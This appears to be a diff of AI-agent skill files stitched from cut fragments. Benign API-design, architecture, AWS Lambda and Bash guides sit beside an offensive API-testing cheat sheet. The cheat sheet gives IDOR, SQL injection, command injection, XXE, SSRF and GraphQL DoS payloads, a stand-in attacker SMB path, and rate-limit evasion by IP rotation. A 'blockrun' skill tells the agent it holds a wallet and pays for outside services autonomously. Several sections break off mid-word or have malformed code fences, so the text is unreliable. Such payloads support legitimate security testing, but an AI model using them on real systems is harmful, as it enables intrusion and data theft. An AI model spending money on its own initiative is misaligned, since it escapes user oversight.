+  },
+  "item": [
+    {
+      "name": "Create User",
+      "request": {
+        "method": "POST",
+        "url": "{{baseUrl}}/api/v1/users"
+      }
+    }
+  ]
+}
+```

+
+## API Types Overview
+
+| Type | Protocol | Data Format | Structure |
+|------|----------|-------------|-----------|
+| SOAP | HTTP | XML | Header + Body |
+| REST | HTTP | JSON/XML/URL | Defined endpoints |
+| GraphQL | HTTP | Custom Query | Single endpoint |
+
+---
+
+## Core Workflow
+
+### Step 1: API Reconnaissance
+
+Identify API type and enumerate endpoints:
+
+```bash
+# Check for Swagger/OpenAPI documentation
+/swagger.json
+/openapi.json
+/api-docs
+/v1/api-docs
+/swagger-ui.html
+
+# Use Kiterunner for API discovery
+kr scan https://target.com -w routes-large.kite
+
+# Extract paths from Swagger
+python3 json2paths.py swagger.json
+```
+
+### Step 2: Authentication Testing
+
+```bash
+# Test different login paths
+/api/mobile/login
+/api/v3/login
+/api/magic_link
+/api/admin/login
+
+# Check rate limiting on auth endpoints
+# If no rate limit → brute force possible
+
+# Test mobile vs web API separately
+# Don't assume same security controls
+```
+
+### Step 3: IDOR Testing
+
+Insecure Direct Object Reference is the most common API vulnerability:
+
+```bash
+# Basic IDOR
+GET /api/users/1234 → GET /api/users/1235
+
+# Even if ID is email-based, try numeric
+/?user_id=111 instead of /?user_id=user@mail.com
+
+# Test /me/orders vs /user/654321/orders
+```
+
+**IDOR Bypass Techniques:**
+
+```bash
+# Wrap ID in array
+{"id":111} → {"id":[111]}
+
+# JSON wrap
+{"id":111} → {"id":{"id":111}}
+
+# Send ID twice
+URL?id=<LEGIT>&id=<VICTIM>
+
+# Wildcard injection
+{"user_id":"*"}
+
+# Parameter pollution
+/api/get_profile?user_id=<victim>&user_id=<legit>
+{"user_id":<legit_id>,"user_id":<victim_id>}
+```
+
+### Step 4: Injection Testing
+
+**SQL Injection in JSON:**
+
+```json
+{"id":"56456"}                    → OK
+{"id":"56456 AND 1=1#"}           → OK  
+{"id":"56456 AND 1=2#"}           → OK
+{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
+{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC
+```
+
+**Command Injection:**
+
+```bash
+# Ruby on Rails
+?url=Kernel#open → ?url=|ls
+
+# Linux command injection
+api.url.com/endpoint?name=file.txt;ls%20/
+```
+
+**XXE Injection:**
+
+```xml
+<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
+```
+
+**SSRF via API:**
+
+```html
+<object data="http://127.0.0.1:8443"/>
+<img src="http://127.0.0.1:445"/>
+```
+
+**.NET Path.Combine Vulnerability:**
+
+```bash
+# If .NET app uses Path.Combine(path_1, path_2)
+# Test for path traversal
+https://example.org/download?filename=a.png
+https://example.org/download?filename=C:\inetpub\wwwroot\web.config
+https://example.org/download?filename=\\smb.dns.attacker.com\a.png
+```
+
+### Step 5: Method Testing
+
+```bash
+# Test all HTTP methods
+GET /api/v1/users/1
+POST /api/v1/users/1
+PUT /api/v1/users/1
+DELETE /api/v1/users/1
+PATCH /api/v1/users/1
+
+# Switch content type
+Content-Type: application/json → application/xml
+```
+
+---
+
+## GraphQL-Specific Testing
+
+### Introspection Query
+
+Fetch entire backend schema:
+
+```graphql
+{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
+```
+
+**URL-encoded version:**
+
+```
+/graphql?query={__schema{types{name,kind,description,fields{name}}}}
+```
+
+### GraphQL IDOR
+
+```graphql
+# Try accessing other user IDs
+query {
+  user(id: "OTHER_USER_ID") {
+    email
+    password
+    creditCard
+  }
+}
+```
+
+### GraphQL SQL/NoSQL Injection
+
+```graphql
+mutation {
+  login(input: {
+    email: "test' or 1=1--"
+    password: "password"
+  }) {
+    success
+    jwt
+  }
+}
+```
+
+### Rate Limit Bypass (Batching)
+
+```graphql
+mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
+mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
+mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
+```
+
+### GraphQL DoS (Nested Queries)
+
+```graphql
+query {
+  posts {
+    comments {
+      user {
+        posts {
+          comments {
+            user {
+              posts { ... }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+### GraphQL XSS
+
+```bash
+# XSS via GraphQL endpoint
+http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
+
+# URL-encoded XSS
+http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
+```
+
+### GraphQL Tools
+
+| Tool | Purpose |
+|------|---------|
+| GraphCrawler | Schema discovery |
+| graphw00f | Fingerprinting |
+| clairvoyance | Schema reconstruction |
+| InQL | Burp extension |
+| GraphQLmap | Exploitation |
+

+
+## Endpoint Bypass Techniques
+
+When receiving 403/401, try these bypasses:
+
+```bash
+# Original blocked request
+/api/v1/users/sensitivedata → 403
+
+# Bypass attempts
+/api/v1/users/sensitivedata.json
+/api/v1/users/sensitivedata?
+/api/v1/users/sensitivedata/
+/api/v1/users/sensitivedata??
+/api/v1/users/sensitivedata%20
+/api/v1/users/sensitivedata%09
+/api/v1/users/sensitivedata#
+/api/v1/users/sensitivedata&details
+/api/v1/users/..;/sensitivedata
+```
+
+---
+
+## Output Exploitation
+
+### PDF Export Attacks
+
+```html
+<!-- LFI via PDF export -->
+<iframe src="file:///etc/passwd" height=1000 width=800>
+
+<!-- SSRF via PDF export -->
+<object data="http://127.0.0.1:8443"/>
+
+<!-- Port scanning -->
+<img src="http://127.0.0.1:445"/>
+
+<!-- IP disclosure -->
+<img src="https://iplogger.com/yourcode.gif"/>
+```
+
+### DoS via Limits
+
+```bash
+# Normal request
+/api/news?limit=100
+
+# DoS attempt
+/api/news?limit=9999999999
+```
+
+---
+

+
+## Constraints
+
+**Must:**
+- Test mobile, web, and developer APIs separately
+- Check all API versions (/v1, /v2, /v3)
+- Validate both authenticated and unauthenticated access
+
+**Must Not:**
+- Assume same security controls across API versions
+- Skip testing undocumented endpoints
+- Ignore rate limiting checks
+
+**Should:**
+- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend
+- Check archive.org for historical API endpoints
+- Test for race conditions on sensitive operations
+
+---
+
+## Examples
+
+### Example 1: IDOR Exploitation
+
+```bash
+# Original request (own data)
+GET /api/v1/invoices/12345
+Authorization: Bearer <token>
+
+# Modified request (other user's data)
+GET /api/v1/invoices/12346
+Authorization: Bearer <token>
+
+# Response reveals other user's invoice data
+```
+
+### Example 2: GraphQL Introspection
+
+```bash
+curl -X POST https://target.com/graphql \
+  -H "Content-Type: application/json" \
+  -d '{"query":"{__schema{types{name,fields{name}}}}"}'
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |
+| 401 on all endpoints | Try adding `?user_id=1` parameter |
+| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |
+| Rate limited | Use IP rotation or batch requests |
+| Can't find endpoints | Check Swagger, archive.org, JS files |

+## ✅ Decision Checklist
+
+Before designing an API:
+
+- [ ] **Asked user about API consumers?**
+- [ ] **Chosen API style for THIS context?** (REST/GraphQL/tRPC)
+- [ ] **Defined consistent response format?**
+- [ ] **Planned versioning strategy?**
+- [ ] **Considered authentication needs?**
+- [ ] **Planned rate limiting?**
+- [ ] **Documentation approach defined?**
+
+---
+
+## ❌ Anti-Patterns
+
+**DON'T:**
+- Default to REST for everything
+- Use verbs in REST endpoints (/getUsers)
+- Return inconsistent response formats
+- Expose internal errors to clients
+- Skip rate limiting
+
+**DO:**
+- Choose API style based on context
+- Ask about client requirements
+- Document thoroughly
+- Use appropriate status codes

+# API Style Selection (2025)
+
+> REST vs GraphQL vs tRPC - Hangi durumda hangisi?
+
+## Decision Tree
+
+```
+Who are the API consumers?
+│
+├── Public API / Multiple platforms
+│   └── REST + OpenAPI (widest compatibility)
+│
+├── Complex data needs / Multiple frontends
+│   └── GraphQL (flexible queries)
+│
+├── TypeScript frontend + backend (monorepo)
+│   └── tRPC (end-to-end type safety)
+│
+├── Real-time / Event-driven
+│   └── WebSocket + AsyncAPI
+│
+└── Internal microservices
+    └── gRPC (performance) or REST (simplicity)
+```
+
+## Comparison
+
+| Factor | REST | GraphQL | tRPC |
+|--------|------|---------|------|
+| **Best for** | Public APIs | Complex apps | TS monorepos |
+| **Learning curve** | Low | Medium | Low (if TS) |
+| **Over/under fetching** | Common | Solved | Solved |
+| **Type safety** | Manual (OpenAPI) | Schema-based | Automatic |
+| **Caching** | HTTP native | Complex | Client-based |
+
+## Selection Questions
+
+1. Who are the API consumers?
+2. Is the frontend TypeScript?
+3. How complex are the data relationships?
+4. Is caching critical?
+5. Public or internal API?

+| Pattern | Best For |
+|---------|----------|
+| **JWT** | Stateless, microservices |
+| **Session** | Traditional web, simple |
+| **OAuth 2.0** | Third-party integration |
+| **API Keys** | Server-to-server, public APIs |
+| **Passkey** | Modern passwordless (2025+) |

+# GraphQL Principles
+
+> Flexible queries for complex, interconnected data.
+
+## When to Use
+
+```
+✅ Good fit:
+├── Complex, interconnected data
+├── Multiple frontend platforms
+├── Clients need flexible queries
+├── Evolving data requirements
+└── Reducing over-fetching matters
+
+❌ Poor fit:
+├── Simple CRUD operations
+├── File upload heavy
+├── HTTP caching important
+└── Team unfamiliar with GraphQL
+```
+
+## Schema Design Principles
+
+```
+Principles:
+├── Think in graphs, not endpoints
+├── Design for evolvability (no versions)
+├── Use connections for pagination
+├── Be specific with types (not generic "data")
+└── Handle nullability thoughtfully
+```
+
+## Security Considerations
+
+```
+Protect against:
+├── Query depth attacks → Set max depth
+├── Query complexity → Calculate cost
+├── Batching abuse → Limit batch size
+├── Introspection → Disable in production
+```

+## Why Rate Limit

+```
+Protect against:
+├── Brute force attacks
+├── Resource exhaustion
+├── Cost overruns (if pay-per-use)
+└── Unfair usage
+```

+|------|-----|------|
+| **Token bucket** | Burst allowed, refills over time | Most APIs |
+| **Sliding window** | Smooth distribution | Strict limits |

+├── X-RateLimit-Reset (when limit resets)
+└── Return 429 when exceeded

+# Response Format Principles
+
+> Consistency is key - choose a format and stick to it.
+
+## Common Patterns
+
+```
+Choose one:
+├── Envelope pattern ({ success, data, error })
+├── Direct data (just return the resource)
+└── HAL/JSON:API (hypermedia)
+```
+
+## Error Response
+
+```
+Include:

+├── User message (for display)
+├── Details (for debugging, field-level errors)
+├── Request ID (for support)
+└── NOT internal details (security!)

+
+| Type | Best For | Trade-offs |
+|------|----------|------------|
+| **Offset** | Simple, jumpable | Performance on large datasets |
+| **Cursor** | Large datasets | Can't jump to page |
+| **Keyset** | Performance critical | Requires sortable key |
+
+### Selection Questions
+
+1. How large is the dataset?
+2. Do users need to jump to specific pages?
+3. Is data frequently changing?

+
+## Resource Naming Rules
+
+```
+Principles:
+├── Use NOUNS, not verbs (resources, not actions)
+├── Use PLURAL forms (/users not /user)
+├── Use lowercase with hyphens (/user-profiles)
+├── Nest for relationships (/users/123/posts)
+└── Keep shallow (max 3 levels deep)
+```
+
+## HTTP Method Selection
+
+| Method | Purpose | Idempotent? | Body? |
+|--------|---------|-------------|-------|
+| **GET** | Read resource(s) | Yes | No |
+| **POST** | Create new resource | No | Yes |
+| **PUT** | Replace entire resource | Yes | Yes |

+| **DELETE** | Remove resource | Yes | No |

+## Status Code Selection
+
+| Situation | Code | Why |
+|-----------|------|-----|
+| Success (read) | 200 | Standard success |
+| Created | 201 | New resource created |
+| No content | 204 | Success, nothing to return |
+| Bad request | 400 | Malformed request |
+| Unauthorized | 401 | Missing/invalid auth |
+| Forbidden | 403 | Valid auth, no permission |
+| Not found | 404 | Resource doesn't exist |
+| Conflict | 409 | State conflict (duplicate) |
+| Validation error | 422 | Valid syntax, invalid data |
+| Rate limited | 429 | Too many requests |
+| Server error | 500 | Our fault |

+> Principles for testing API security. OWASP API Top 10, authentication, authorization testing.
+
+---
+
+## OWASP API Security Top 10
+
+| Vulnerability | Test Focus |
+|---------------|------------|
+| **API1: BOLA** | Access other users' resources |
+| **API2: Broken Auth** | JWT, session, credentials |
+| **API3: Property Auth** | Mass assignment, data exposure |
+| **API4: Resource Consumption** | Rate limiting, DoS |
+| **API5: Function Auth** | Admin endpoints, role bypass |
+| **API6: Business Flow** | Logic abuse, automation |
+| **API7: SSRF** | Internal network access |
+| **API8: Misconfiguration** | Debug endpoints, CORS |
+| **API9: Inventory** | Shadow APIs, old versions |
+| **API10: Unsafe Consumption** | Third-party API trust |
+
+---
+
+## Authentication Testing
+
+### JWT Testing
+
+| Check | What to Test |
+|-------|--------------|
+| Algorithm | None, algorithm confusion |
+| Secret | Weak secrets, brute force |
+| Claims | Expiration, issuer, audience |
+| Signature | Manipulation, key injection |
+
+### Session Testing
+
+| Check | What to Test |
+|-------|--------------|
+| Generation | Predictability |
+| Storage | Client-side security |
+| Expiration | Timeout enforcement |
+| Invalidation | Logout effectiveness |
+
+---
+
+## Authorization Testing
+
+| Test Type | Approach |
+|-----------|----------|
+| **Horizontal** | Access peer users' data |
+| **Vertical** | Access higher privilege functions |
+| **Context** | Access outside allowed scope |
+
+### BOLA/IDOR Testing
+
+1. Identify resource IDs in requests
+2. Capture request with user A's session
+3. Replay with user B's session
+4. Check for unauthorized access
+
+---
+
+## Input Validation Testing
+
+| Injection Type | Test Focus |
+|----------------|------------|
+| SQL | Query manipulation |
+| NoSQL | Document queries |
+| Command | System commands |
+| LDAP | Directory queries |
+
+**Approach:** Test all parameters, try type coercion, test boundaries, check error messages.
+
+---
+
+## Rate Limiting Testing
+
+| Aspect | Check |
+|--------|-------|
+| Existence | Is there any limit? |
+| Bypass | Headers, IP rotation |
+| Scope | Per-user, per-IP, global |
+
+**Bypass techniques:** X-Forwarded-For, different HTTP methods, case variations, API versioning.
+
+---
+
+## GraphQL Security
+
+| Test | Focus |
+|------|-------|
+| Introspection | Schema disclosure |
+| Batching | Query DoS |
+| Nesting | Depth-based DoS |
+| Authorization | Field-level access |
+
+---
+
+## Security Testing Checklist
+
+**Authentication:**
+- [ ] Test for bypass
+- [ ] Check credential strength
+- [ ] Verify token security
+
+**Authorization:**
+- [ ] Test BOLA/IDOR
+- [ ] Check privilege escalation
+- [ ] Verify function access
+
+**Input:**
+- [ ] Test all parameters
+- [ ] Check for injection
+
+**Config:**
+- [ ] Check CORS
+- [ ] Verify headers
+- [ ] Test error handling
+
+---
+
+> **Remember:** APIs are the backbone of modern apps. Test them like attackers will.

+# tRPC Principles
+
+> End-to-end type safety for TypeScript monorepos.
+
+## When to Use
+
+```
+✅ Perfect fit:
+├── TypeScript on both ends
+├── Monorepo structure
+├── Internal tools
+├── Rapid development
+└── Type safety critical
+
+❌ Poor fit:
+├── Non-TypeScript clients
+├── Public API
+├── Need REST conventions
+└── Multiple language backends
+```
+
+## Key Benefits
+
+```
+Why tRPC:
+├── Zero schema maintenance
+├── End-to-end type inference
+├── IDE autocomplete across stack
+├── Instant API changes reflected
+└── No code generation step
+```
+
+## Integration Patterns
+
+```
+Common setups:
+├── Next.js + tRPC (most common)
+├── Monorepo with shared types
+├── Remix + tRPC
+└── Any TS frontend + backend
+```

+# Versioning Strategies
+
+> Plan for API evolution from day one.
+
+## Decision Factors
+
+| Strategy | Implementation | Trade-offs |
+|----------|---------------|------------|
+| **URI** | /v1/users | Clear, easy caching |
+| **Header** | Accept-Version: 1 | Cleaner URLs, harder discovery |
+| **Query** | ?version=1 | Easy to add, messy |
+| **None** | Evolve carefully | Best for internal, risky for public |
+
+## Versioning Philosophy
+
+```
+Consider:
+├── Public API? → Version in URI
+├── Internal only? → May not need versioning
+├── GraphQL? → Typically no versions (evolve schema)
+├── tRPC? → Types enforce compatibility
+```

+## Structure Principles
+
+| Principle | Implementation |
+|-----------|----------------|
+| **Feature isolation** | Each feature in `features/` with its own components, hooks, actions |
+| **Server/Client separation** | Server-only code in `server/`, prevents accidental client imports |
+| **Thin routes** | `app/` only for routing, logic lives in `features/` |
+| **Route groups** | `(groupName)/` for layout sharing without URL impact |
+| **Shared code** | `shared/` for truly reusable UI and utilities |
+
+---
+
+## Core Files
+
+| File | Purpose |
+|------|---------|
+| `package.json` | Dependencies |
+| `tsconfig.json` | TypeScript + path aliases (`@/features/*`) |
+| `tailwind.config.ts` | Tailwind config |
+| `.env.example` | Environment template |
+| `README.md` | Project documentation |
+| `.gitignore` | Git ignore rules |
+| `prisma/schema.prisma` | Database schema |
+
+---
+
+## Path Aliases (tsconfig.json)
+
+```json
+{
+  "compilerOptions": {
+    "paths": {
+      "@/*": ["./src/*"],

+# Architecture Examples
+
+> Real-world architecture decisions by project type.
+
+---
+
+## Example 1: MVP E-commerce (Solo Developer)
+
+```yaml
+Requirements:
+  - <1000 users initially
+  - Solo developer
+  - Fast to market (8 weeks)
+  - Budget-conscious
+
+Architecture Decisions:
+  App Structure: Monolith (simpler for solo)
+  Framework: Next.js (full-stack, fast)
+  Data Layer: Prisma direct (no over-abstraction)
+  Authentication: JWT (simpler than OAuth)
+  Payment: Stripe (hosted solution)
+  Database: PostgreSQL (ACID for orders)
+
+Trade-offs Accepted:
+  - Monolith → Can't scale independently (team doesn't justify it)
+  - No Repository → Less testable (simple CRUD doesn't need it)
+  - JWT → No social login initially (can add later)
+
+Future Migration Path:
+  - Users > 10K → Extract payment service
+  - Team > 3 → Add Repository pattern
+  - Social login requested → Add OAuth
+```
+
+---
+
+## Example 2: SaaS Product (5-10 Developers)
+
+```yaml
+Requirements:
+  - 1K-100K users
+  - 5-10 developers
+  - Long-term (12+ months)
+  - Multiple domains (billing, users, core)
+
+Architecture Decisions:
+  App Structure: Modular Monolith (team size optimal)
+  Framework: NestJS (modular by design)
+  Data Layer: Repository pattern (testing, flexibility)
+  Domain Model: Partial DDD (rich entities)
+  Authentication: OAuth + JWT
+  Caching: Redis
+  Database: PostgreSQL
+
+Trade-offs Accepted:
+  - Modular Monolith → Some module coupling (microservices not justified)
+  - Partial DDD → No full aggregates (no domain experts)
+  - RabbitMQ later → Initial synchronous (add when proven needed)
+
+Migration Path:
+  - Team > 10 → Consider microservices
+  - Domains conflict → Extract bounded contexts
+  - Read performance issues → Add CQRS
+```
+
+---
+
+## Example 3: Enterprise (100K+ Users)
+
+```yaml
+Requirements:
+  - 100K+ users
+  - 10+ developers
+  - Multiple business domains
+  - Different scaling needs
+  - 24/7 availability
+
+Architecture Decisions:
+  App Structure: Microservices (independent scale)
+  API Gateway: Kong/AWS API GW
+  Domain Model: Full DDD
+  Consistency: Event-driven (eventual OK)
+  Message Bus: Kafka
+  Authentication: OAuth + SAML (enterprise SSO)
+  Database: Polyglot (right tool per job)
+  CQRS: Selected services
+
+Operational Requirements:
+  - Service mesh (Istio/Linkerd)
+  - Distributed tracing (Jaeger/Tempo)
+  - Centralized logging (ELK/Loki)
+  - Circuit breakers (Resilience4j)
+  - Kubernetes/Helm

+# Pattern Selection Guidelines
+
+> Decision trees for choosing architectural patterns.
+
+## Main Decision Tree
+
+```
+START: What's your MAIN concern?
+
+┌─ Data Access Complexity?
+│  ├─ HIGH (complex queries, testing needed)
+│  │  → Repository Pattern + Unit of Work
+│  │  VALIDATE: Will data source change frequently?
+│  │     ├─ YES → Repository worth the indirection
+│  │     └─ NO  → Consider simpler ORM direct access
+│  └─ LOW (simple CRUD, single database)
+│     → ORM directly (Prisma, Drizzle)
+│     Simpler = Better, Faster
+│
+├─ Business Rules Complexity?
+│  ├─ HIGH (domain logic, rules vary by context)
+│  │  → Domain-Driven Design
+│  │  VALIDATE: Do you have domain experts on team?
+│  │     ├─ YES → Full DDD (Aggregates, Value Objects)
+│  │     └─ NO  → Partial DDD (rich entities, clear boundaries)
+│  └─ LOW (mostly CRUD, simple validation)
+│     → Transaction Script pattern
+│     Simpler = Better, Faster
+│
+├─ Independent Scaling Needed?
+│  ├─ YES (different components scale differently)
+│  │  → Microservices WORTH the complexity
+│  │  REQUIREMENTS (ALL must be true):
+│  │    - Clear domain boundaries
+│  │    - Team > 10 developers
+│  │    - Different scaling needs per service
+│  │  IF NOT ALL MET → Modular Monolith instead
+│  └─ NO (everything scales together)
+│     → Modular Monolith
+│     Can extract services later when proven needed
+│
+└─ Real-time Requirements?
+   ├─ HIGH (immediate updates, multi-user sync)
+   │  → Event-Driven Architecture
+   │  → Message Queue (RabbitMQ, Redis, Kafka)
+   │  VALIDATE: Can you handle eventual consistency?
+   │     ├─ YES → Event-driven valid
+   │     └─ NO  → Synchronous with polling
+   └─ LOW (eventual consistency acceptable)
+      → Synchronous (REST/GraphQL)
+      Simpler = Better, Faster
+```
+
+## The 3 Questions (Before ANY Pattern)
+
+1. **Problem Solved**: What SPECIFIC problem does this pattern solve?
+2. **Simpler Alternative**: Is there a simpler solution?
+3. **Deferred Complexity**: Can we add this LATER when needed?
+
+## Red Flags (Anti-patterns)
+
+| Pattern | Anti-pattern | Simpler Alternative |
+|---------|-------------|-------------------|
+| Microservices | Premature splitting | Start monolith, extract later |
+| Clean/Hexagonal | Over-abstraction | Concrete first, interfaces later |
+| Event Sourcing | Over-engineering | Append-only audit log |
+| CQRS | Unnecessary complexity | Single model |
+| Repository | YAGNI for simple CRUD | ORM direct access |

+## Distributed System Patterns
+
+| Pattern | When to Use | When NOT to Use | Complexity |
+|---------|-------------|-----------------|------------|
+| **Modular Monolith** | Small teams, unclear boundaries | Clear contexts, different scales | Medium |
+| **Microservices** | Different scales, large teams | Small teams, simple domain | Very High |
+| **Event-Driven** | Real-time, loose coupling | Simple workflows, strong consistency | High |
+| **CQRS** | Read/write performance diverges | Simple CRUD, same model | High |
+| **Saga** | Distributed transactions | Single database, simple ACID | High |
+
+## API Patterns
+
+| Pattern | When to Use | When NOT to Use | Complexity |
+|---------|-------------|-----------------|------------|
+| **REST** | Standard CRUD, resources | Real-time, complex queries | Low |
+| **GraphQL** | Flexible queries, multiple clients | Simple CRUD, caching needs | Medium |
+| **gRPC** | Internal services, performance | Public APIs, browser clients | Medium |
+| **WebSocket** | Real-time updates | Simple request/response | Medium |
+

+
+## Simplicity Principle
+
+**"Start simple, add complexity only when proven necessary."**

+# Autonomous Agents
+
+You are an agent architect who has learned the hard lessons of autonomous AI.
+You've seen the gap between impressive demos and production disasters. You know
+that a 95% success rate per step means only 60% by step 10.
+
+Your core insight: Autonomy is earned, not granted. Start with heavily
+constrained agents that do one thing reliably. Add autonomy only as you prove
+reliability. The best agents look less impressive but work consistently.
+
+You push for guardrails before capabilities, logging befor

+
+# AWS Serverless
+
+## Patterns
+
+### Lambda Handler Pattern
+
+Proper Lambda function structure with error handling
+
+**When to use**: ['Any Lambda function implementation', 'API handlers, event processors, scheduled tasks']
+
+```python
+```javascript
+// Node.js Lambda Handler
+// handler.js
+
+// Initialize outside handler (reused across invocations)
+const { DynamoDBClient } = require('@aws-sdk/client-dynamodb');
+const { DynamoDBDocumentClient, GetCommand } = require('@aws-sdk/lib-dynamodb');
+
+const client = new DynamoDBClient({});
+const docClient = DynamoDBDocumentClient.from(client);
+
+// Handler function
+exports.handler = async (event, context) => {
+  // Optional: Don't wait for event loop to clear (Node.js)
+  context.callbackWaitsForEmptyEventLoop = false;
+
+  try {
+    // Parse input based on event source
+    const body = typeof event.body === 'string'
+      ? JSON.parse(event.body)
+      : event.body;
+
+    // Business logic
+    const result = await processRequest(body);
+
+    // Return API Gateway compatible response
+    return {
+      statusCode: 200,
+      headers: {
+        'Content-Type': 'application/json',
+        'Access-Control-Allow-Origin': '*'
+      },
+      body: JSON.stringify(result)
+    };
+  } catch (error) {
+    console.error('Error:', JSON.stringify({

+};
+
+async function processRequest(data) {
+  // Your business logic here
+  const result = await docClient.send(new GetCommand({
+    TableName: process.env.TABLE_NAME,
+    Key: { id: data.id }
+  }));
+  return result.Item;
+}

+
+### Event-Driven SQS Pattern
+
+Lambda triggered by SQS for reliable async processing
+
+**When to use**: ['Decoupled, asynchronous processing', 'Need retry logic and DLQ', 'Processing messages in batches']
+
+```python
+```yaml
+# template.yaml

+            })
+
+    return {'batchItemFailures': batch_ite
+```
+
+## Anti-Patterns
+
+### ❌ Monolithic Lambda
+
+**Why bad**: Large deployment packages cause slow cold starts.
+Hard to scale individual operations.
+Updates affect entire system.
+
+### ❌ Large Dependencies
+
+**Why bad**: Increases deployment package size.
+Slows down cold starts significantly.
+Most of SDK/library may be unused.
+
+### ❌ Synchronous Calls in VPC
+
+**Why bad**: VPC-attached Lambdas have ENI setup overhead.
+Blocking DNS lookups or connections worsen cold starts.
+

+
+# Bash Linux Patterns
+
+> Essential patterns for Bash on Linux/macOS.
+
+---
+
+## 1. Operator Syntax
+
+### Chaining Commands
+
+| Operator | Meaning | Example |
+|----------|---------|---------|
+| `;` | Run sequentially | `cmd1; cmd2` |
+| `&&` | Run if previous succeeded | `npm install && npm run dev` |
+| `\|\|` | Run if previous failed | `npm test \|\| echo "Tests failed"` |
+| `\|` | Pipe output | `ls \| grep ".js"` |
+
+---
+
+## 2. File Operations
+
+### Essential Commands
+
+| Task | Command |
+|------|---------|
+| List all | `ls -la` |
+| Find files | `find . -name "*.js" -type f` |
+| File content | `cat file.txt` |
+| First N lines | `head -n 20 file.txt` |
+| Last N lines | `tail -n 20 file.txt` |
+| Follow log | `tail -f log.txt` |
+| Search in files | `grep -r "pattern" --include="*.js"` |
+| File size | `du -sh *` |
+| Disk usage | `df -h` |
+
+---
+
+## 3. Process Management
+
+| Task | Command |
+|------|---------|
+| List processes | `ps aux` |
+| Find by name | `ps aux \| grep node` |
+| Kill by PID | `kill -9 <PID>` |
+| Find port user | `lsof -i :3000` |
+| Kill port | `kill -9 $(lsof -t -i :3000)` |
+| Background | `npm run dev &` |
+| Jobs | `jobs -l` |
+| Bring to front | `fg %1` |
+
+---
+
+## 4. Text Processing
+
+### Core Tools
+
+| Tool | Purpose | Example |
+|------|---------|---------|
+| `grep` | Search | `grep -rn "TODO" src/` |
+| `sed` | Replace | `sed -i 's/old/new/g' file.txt` |
+| `awk` | Extract columns | `awk '{print $1}' file.txt` |
+| `cut` | Cut fields | `cut -d',' -f1 data.csv` |
+| `sort` | Sort lines | `sort -u file.txt` |
+| `uniq` | Unique lines | `sort file.txt \| uniq -c` |
+| `wc` | Count | `wc -l file.txt` |
+
+---
+
+## 5. Environment Variables
+
+| Task | Command |
+|------|---------|
+| View all | `env` or `printenv` |
+| View one | `echo $PATH` |
+| Set temporary | `export VAR="value"` |
+| Set in script | `VAR="value" command` |
+| Add to PATH | `export PATH="$PATH:/new/path"` |
+
+---
+
+## 6. Network
+
+| Task | Command |
+|------|---------|
+| Download | `curl -O https://example.com/file` |
+| API request | `curl -X GET https://api.example.com` |
+| POST JSON | `curl -X POST -H "Content-Type: application/json" -d '{"key":"value"}' URL` |
+| Check port | `nc -zv localhost 3000` |
+| Network info | `ifconfig` or `ip addr` |
+
+---
+
+## 7. Script Template
+
+```bash
+#!/bin/bash
+set -euo pipefail  # Exit on error, undefined var, pipe fail
+
+# Colors (optional)
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+NC='\033[0m'
+
+# Script directory
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+
+# Functions
+log_info() { echo -e "${GREEN}[INFO]${NC} $1"; }
+log_error() { echo -e "${RED}[ERROR]${NC} $1" >&2; }
+
+# Main
+main() {
+    log_info "Starting..."
+    # Your logic here
+    log_info "Done!"
+}
+
+main "$@"
+```
+
+---
+
+## 8. Common Patterns
+
+### Check if command exists
+
+```bash
+if command -v node &> /dev/null; then
+    echo "Node is installed"
+fi
+```
+
+### Default variable value
+
+```bash
+NAME=${1:-"default_value"}
+```
+
+### Read file line by line
+
+```bash
+while IFS= read -r line; do
+    echo "$line"
+done < file.txt
+```
+
+### Loop over files
+
+```bash
+for file in *.js; do
+    echo "Processing $file"
+done
+```
+
+---
+
+## 9. Differences from PowerShell
+
+| Task | PowerShell | Bash |
+|------|------------|------|
+| List files | `Get-ChildItem` | `ls -la` |
+| Find files | `Get-ChildItem -Recurse` | `find . -type f` |
+| Environment | `$env:VAR` | `$VAR` |
+| String concat | `"$a$b"` | `"$a$b"` (same) |
+| Null check | `if ($x)` | `if [ -n "$x" ]` |
+| Pipeline | Object-based | Text-based |
+
+---
+
+## 10. Error Handling
+
+### Set options
+
+```bash
+set -e          # Exit on error
+set -u          # Exit on undefined variable
+set -o pipefail # Exit on pipe failure
+set -x          # Debug: print commands
+```
+
+### Trap for cleanup
+
+```bash
+cleanup() {
+    echo "Cleaning up..."
+    rm -f /tmp/tempfile
+}
+trap cleanup EXIT
+```
+
+---
+
+> **Remember:** Bash is text-based. Use `&&` for success chains, `set -e` for safety, and quote your variables!

+name: blockrun
+description: Use when user needs capabilities Claude lacks (image generation, real-time X/Twitter data) or explicitly requests external models ("blockrun", "use grok", "use gpt", "dall-e", "deepseek")
+allowed-tools: Read, Bash(python:*), Bash(python3:*), Bash(pip:*), Bash(source:*)
+---
+
+# BlockRun
+
+**BlockRun works with Claude Code and Google Antigravity.**
+
+You can't generate images. You have no real-time X/Twitter access. BlockRun gives you these capabilities.
+
+## Philosophy
+
+You have a wallet. When you need a capability you lack, you pay for it autonomously.
+
+| You Need | You Call | Pricing |
+|----------|----------|---------|
+| Image generation | DALL-E | $0.04/image |
+| Real-time X data | Grok + Live Search | $0.025/source |
+| Second opinion | GPT-5.2 | $1.75/M input, $14/M output |
+| Cheaper processing | DeepSeek | $0.14/M input, $0.28/M output |
+
+**How it works:** BlockRun uses x402 micropayments to route your requests to OpenAI, xAI, Google, and other providers. No API keys needed - your wallet pays per token.
+
+## Budget Control (Optional)
+
+If the user specifies a budget (e.g., "use at most $1"), track spending and stop when budget is reached:
+
+```python
+from blockrun_llm import setup_agent_wallet
+
